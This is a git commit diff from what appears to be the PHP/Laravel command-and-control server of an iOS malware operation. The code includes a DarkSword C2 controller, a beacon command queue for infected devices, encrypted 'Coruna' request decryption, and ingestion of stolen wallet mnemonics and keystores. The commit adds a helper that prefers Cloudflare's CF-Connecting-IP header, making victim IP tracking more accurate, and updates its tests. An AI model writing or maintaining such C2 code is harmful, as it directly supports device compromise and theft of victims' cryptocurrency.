This commit is contained in:
hashbro
2026-09-19 01:03:23 +08:00
parent 2729fd561b
commit 5be0313ccd
17 changed files with 180 additions and 34 deletions
+1 -1
View File
@@ -62,7 +62,7 @@ if (! function_exists('c2_log_request_meta')) {
}
return [
'ip' => $request->ip(),
'ip' => \App\Support\VisitorIp::fromRequest($request),
'remote_addr' => $request->server->get('REMOTE_ADDR'),
'headers' => $headers,
];
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Services\AdminGoogle2fa;
use App\Support\VisitorIp;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
@@ -97,7 +98,7 @@ class AuthController extends Controller
RateLimiter::clear($throttleKey);
$request->session()->regenerate();
$user->forceFill(['last_ip' => $request->ip()])->save();
$user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save();
return response()->json([
'code' => 0,
@@ -117,6 +118,6 @@ class AuthController extends Controller
private function throttleKey(Request $request): string
{
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
}
}
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Agent;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Services\AdminGoogle2fa;
use App\Support\VisitorIp;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
@@ -115,6 +116,6 @@ class AuthController extends Controller
private function throttleKey(Request $request): string
{
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
}
}
@@ -7,6 +7,7 @@ use App\Models\Device;
use App\Models\PageVisit;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use App\Support\VisitorIp;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
@@ -49,12 +50,13 @@ class DarkSwordC2Controller extends Controller
{
$payload = $this->jsonBody($request);
$device = $this->ingest->ensureDevice($request, $payload);
$command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null;
$ip = VisitorIp::fromRequest($request);
$command = $device ? $this->beaconQueue->dequeue($device, $ip) : null;
$body = [
'ok' => true,
'type' => $command['type'] ?? 'noop',
'client_ip' => $request->ip(),
'client_ip' => $ip,
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
];
if ($command !== null) {
@@ -298,7 +300,7 @@ class DarkSwordC2Controller extends Controller
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use App\Support\SafeLog;
use App\Support\VisitorIp;
use App\Telegram\TelegramBotContext;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
@@ -33,7 +34,7 @@ class TelegramWebhookController extends Controller
$expectedSecret = (string) config('coruna.telegram.webhook_secret', '');
$this->webhookLog('info', 'telegram webhook hit', [
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'update_id' => $updateId,
'chat_id' => $chatId,
'text' => $text,
@@ -45,7 +46,7 @@ class TelegramWebhookController extends Controller
if ($expectedSecret !== '') {
if ($header === '' || ! hash_equals($expectedSecret, $header)) {
$this->webhookLog('warning', 'telegram webhook rejected: bad secret', [
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'update_id' => $updateId,
]);
abort(403, 'Invalid webhook secret');
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\SafeLog;
use App\Support\VisitorIp;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Throwable;
@@ -19,7 +20,7 @@ class TokenviewWebhookController extends Controller
$payload = $this->decodePayload($request, $raw);
$this->tvLog('info', 'tokenview webhook received', [
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'method' => $request->method(),
'has_signature' => is_string($signature) && $signature !== '',
'body_bytes' => strlen($raw),
@@ -31,7 +32,7 @@ class TokenviewWebhookController extends Controller
$signed = $monitor->verifySignature($raw, $signature);
if (! $signed) {
$this->tvLog('warning', 'tokenview webhook bad signature (acked 200, skipped ingest)', [
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'body_bytes' => strlen($raw),
]);
} elseif ($payload !== []) {
+2 -1
View File
@@ -7,6 +7,7 @@ use App\Models\Channel;
use App\Models\PageVisit;
use App\Support\CfIpCountry;
use App\Support\UserAgentParser;
use App\Support\VisitorIp;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
@@ -32,7 +33,7 @@ class PageHitController extends Controller
return $this->pixel();
}
$ip = PageVisit::normalizeIp((string) $request->ip());
$ip = VisitorIp::fromRequest($request);
$domain = PageVisit::normalizeDomain($request->getHost());
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
+3 -2
View File
@@ -5,6 +5,7 @@ namespace App\Http\Middleware;
use App\Models\Device;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use App\Support\VisitorIp;
use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
@@ -87,7 +88,7 @@ class DecryptCorunaBody
'dir' => 'in',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $headers,
@@ -146,7 +147,7 @@ class DecryptCorunaBody
'dir' => 'out',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'status' => $response->getStatusCode(),
'timestamp_hdr' => $respTs ?: null,
+2 -1
View File
@@ -2,6 +2,7 @@
namespace App\Models;
use App\Support\VisitorIp;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Http\Request;
@@ -54,7 +55,7 @@ class SystemLog extends Model
'actor_id' => $actor->id,
'actor_username' => (string) $actor->username,
'content' => $content,
'ip' => $request?->ip(),
'ip' => $request ? VisitorIp::fromRequest($request) : null,
]);
}
+5 -15
View File
@@ -11,6 +11,7 @@ use App\Models\WalletMnemonic;
use App\Jobs\DecodeMemoDb;
use App\Support\CfIpCountry;
use App\Support\UserAgentParser;
use App\Support\VisitorIp;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
@@ -153,7 +154,7 @@ class DarkSwordIngestAdapter
$parsed = UserAgentParser::parse($ua);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? '';
$ip = $this->clientIp($request, $payload);
$ip = $this->clientIp($request);
$referer = trim((string) $request->headers->get('referer', ''));
$os = $ios !== null ? 'iOS' : $parsed['os'];
@@ -271,7 +272,7 @@ class DarkSwordIngestAdapter
return null;
}
$ip = $this->clientIp($request, $payload);
$ip = $this->clientIp($request);
$model = $this->extractModel($payload);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
@@ -602,20 +603,9 @@ class DarkSwordIngestAdapter
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function clientIp(Request $request, array $payload): string
private function clientIp(Request $request): string
{
$reported = $payload['ip'] ?? null;
if (is_string($reported) && trim($reported) !== '') {
$normalized = PageVisit::normalizeIp(trim($reported));
if ($normalized !== '') {
return substr($normalized, 0, 64);
}
}
return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64);
return VisitorIp::fromRequest($request);
}
private function shouldReplaceModel(?string $current, string $incoming): bool
+2 -1
View File
@@ -17,6 +17,7 @@ use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\CfIpCountry;
use App\Support\VisitorIp;
use App\Support\NoteContent;
use App\Support\WalletSource;
use Illuminate\Database\UniqueConstraintViolationException;
@@ -393,7 +394,7 @@ class IngestService
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attrs = [
'device_id' => $deviceKey,
'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
'ip' => VisitorIp::fromRequest($request),
'country' => CfIpCountry::fromRequest($request),
'device_model' => $this->extractDeviceModel($payload),
'ios_version' => $this->extractIosVersion($payload),
+48
View File
@@ -0,0 +1,48 @@
<?php
namespace App\Support;
use App\Models\PageVisit;
use Illuminate\Http\Request;
/**
* Visitor IP behind Cloudflare.
*
* Prefer CF-Connecting-IP (Cloudflare overwrites it). Fall back to
* $request->ip() when the request did not come through CDN.
* Do not trust JSON/query `ip` or a client-prefixed X-Forwarded-For hop.
*/
final class VisitorIp
{
public static function fromRequest(Request $request): string
{
foreach (['CF-Connecting-IP', 'True-Client-IP'] as $header) {
$ip = self::normalize($request->headers->get($header));
if ($ip !== '') {
return $ip;
}
}
$fallback = self::normalize((string) $request->ip());
return $fallback !== '' ? $fallback : substr((string) $request->ip(), 0, 64);
}
public static function normalize(?string $raw): string
{
$raw = trim((string) $raw);
if ($raw === '') {
return '';
}
if (str_contains($raw, ',')) {
$raw = trim(explode(',', $raw, 2)[0]);
}
if (filter_var($raw, FILTER_VALIDATE_IP) === false) {
return '';
}
$norm = PageVisit::normalizeIp($raw);
return $norm !== '' ? substr($norm, 0, 64) : '';
}
}
+2 -2
View File
@@ -27,8 +27,8 @@ return Application::configure(basePath: dirname(__DIR__))
health: '/up',
)
->withMiddleware(function (Middleware $middleware): void {
// Cloudflare / reverse proxy: honor X-Forwarded-* so $request->ip()
// is the visitor IP. TRUSTED_PROXIES=* | CIDR list | empty to disable.
// Honor X-Forwarded-* for $request->ip() fallback. Visitor-facing
// IPs prefer CF-Connecting-IP via VisitorIp. TRUSTED_PROXIES=* | CIDR | empty.
$trustedProxies = env('TRUSTED_PROXIES', '*');
if ($trustedProxies === '*') {
$middleware->trustProxies(at: '*');
+23 -1
View File
@@ -223,10 +223,32 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('iPhone15,2', $device->device_model);
$this->assertSame('18.6', $device->ios_version);
$this->assertSame('192.168.31.77', $device->ip);
$this->assertSame('127.0.0.1', $device->ip);
$this->assertNull($device->channel_id);
}
#[Test]
public function plaintext_a_uses_cf_connecting_ip_not_body_ip(): void
{
$this->call('POST', '/a', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_CF_CONNECTING_IP' => '203.0.113.88',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
'HTTP_CF_IPCOUNTRY' => 'JP',
], json_encode([
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'ip' => '192.168.31.77',
'source' => 'c2_agent',
], JSON_THROW_ON_ERROR))->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame('203.0.113.88', $device->ip);
$this->assertSame('JP', $device->country);
}
#[Test]
public function shared_path_with_x_ts_still_uses_xxbb_ack(): void
{
+3
View File
@@ -28,11 +28,14 @@ class DeviceCountryTest extends TestCase
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
'HTTP_CF_IPCOUNTRY' => 'US',
'HTTP_CF_CONNECTING_IP' => '203.0.113.44',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('US', $device->country);
$this->assertSame('203.0.113.44', $device->ip);
$this->assertStringContainsString('(美国)', $device->formattedIp());
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
+19
View File
@@ -124,6 +124,25 @@ class PageVisitTest extends TestCase
$this->assertSame('203.0.113.50', $row->ip);
}
#[Test]
public function hit_prefers_cf_connecting_ip_over_x_forwarded_for(): void
{
Cache::flush();
$this->call('GET', '/statistic/t', [
'c' => self::CHANNEL,
'u' => '11111111-2222-4333-8444-555555555555',
], [], [], [
'REMOTE_ADDR' => '104.16.1.1',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
'HTTP_CF_CONNECTING_IP' => '203.0.113.88',
])->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('203.0.113.88', $row->ip);
}
#[Test]
public function hit_stores_cf_ipcountry(): void
{
+54
View File
@@ -0,0 +1,54 @@
<?php
namespace Tests\Unit;
use App\Support\VisitorIp;
use Illuminate\Http\Request;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class VisitorIpTest extends TestCase
{
#[Test]
public function prefers_cf_connecting_ip_over_xff_and_true_client_ip(): void
{
$request = Request::create('/', 'GET', [], [], [], [
'REMOTE_ADDR' => '104.16.1.1',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4, 203.0.113.50',
'HTTP_TRUE_CLIENT_IP' => '198.51.100.9',
'HTTP_CF_CONNECTING_IP' => '203.0.113.77',
]);
$this->assertSame('203.0.113.77', VisitorIp::fromRequest($request));
}
#[Test]
public function falls_back_to_true_client_ip_then_remote_addr(): void
{
$trueClient = Request::create('/', 'GET', [], [], [], [
'REMOTE_ADDR' => '104.16.1.1',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
'HTTP_TRUE_CLIENT_IP' => '198.51.100.9',
]);
$this->assertSame('198.51.100.9', VisitorIp::fromRequest($trueClient));
$direct = Request::create('/', 'GET', [], [], [], [
'REMOTE_ADDR' => '127.0.0.1',
]);
$this->assertSame('127.0.0.1', VisitorIp::fromRequest($direct));
}
#[Test]
public function ignores_invalid_cf_header_and_unwraps_mapped_ipv6(): void
{
$invalid = Request::create('/', 'GET', [], [], [], [
'REMOTE_ADDR' => '127.0.0.1',
'HTTP_CF_CONNECTING_IP' => 'not-an-ip',
]);
$this->assertSame('127.0.0.1', VisitorIp::fromRequest($invalid));
$this->assertSame('203.0.113.9', VisitorIp::normalize('::ffff:203.0.113.9'));
$this->assertSame('203.0.113.9', VisitorIp::normalize('203.0.113.9, 10.0.0.1'));
$this->assertSame('', VisitorIp::normalize('unknown'));
}
}